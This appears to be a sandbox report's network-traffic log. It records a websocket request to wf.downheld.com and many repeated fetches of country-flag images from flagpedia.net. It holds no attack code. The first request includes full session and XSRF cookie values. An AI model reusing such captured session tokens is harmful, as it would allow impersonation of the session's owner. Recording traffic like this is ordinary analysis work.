Source: global traffic	HTTP traffic detected: GET /web7socket/socket.io/?type=User&appnum=2&EIO=4&transport=websocket HTTP/1.1Host: wf.downheld.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://wf.downheld.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjNlT3pFbjV0VUhLME1XcU53WDZwOEE9PSIsInZhbHVlIjoiVmVjU2RhRVhyU3hHUXdtYWNJRFRTNXdxc2J3TzFUVDg3bzVrWVN0bW1oMGpJWkFQMTM1Mys1Rk5Mc3BlbGQxbVAzUFFwZTdJZ2JkdWdMVEZLbTA3WDZrKzlrdlR6d01rUkJKVis5RFNsQm16QXlaMlZTN3dDQnBWb0hZVThsMmgiLCJtYWMiOiIxNzY2Zjg3ZTlhZjZjMjY2NGIwODNkNzFlYmY2NzgzN2ZlMWMyY2ZmOWY1ZGY5NmVjMDhjN2VlNDY2OTIwYjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImJlMld0LzJaTUdLSG9jWHVVTm9oQmc9PSIsInZhbHVlIjoiWC9UN2tsQklKU0tCU3Y1VXZlZmh4VHBIRkdUc2IzQjYvd1NZS2owaXc1TnhBWnM1eW04RHp6TjNJditoRjkvck9ydjVGb1dSMVlQK24raEtlQitZRFlCZ0Y2czBiam9kTVFnT1JlZVNZYmlldlZPWEZoOHlLeTFpajNRaS9Edk8iLCJtYWMiOiI1MDc4MjY3MjhlMmZkMmM2NjM2MzE0ZjlkN2U0NGYxYzA0NzFhMjRhMGY3YmQ5NzZiOTBmNzZlZWUxM2E0NGI4IiwidGFnIjoiIn0%3DSec-WebSocket-Key: T3jSOJKuIlD2Tj4W5MhE1g==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/cn.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/cv.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/kh.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/co.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/km.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/cm.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ca.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/cg.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/cf.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/cr.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/td.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/hr.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/cu.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/cl.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/cn.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/cy.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/cz.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/co.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/km.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/dk.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/dj.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/cg.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/dm.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/do.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/cr.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/hr.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/cu.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ec.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/cy.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/eg.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/cz.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sv.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/dk.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/gq.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/er.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/dj.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/dm.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ee.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/do.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sz.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ec.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/eg.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/et.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/fj.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sv.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
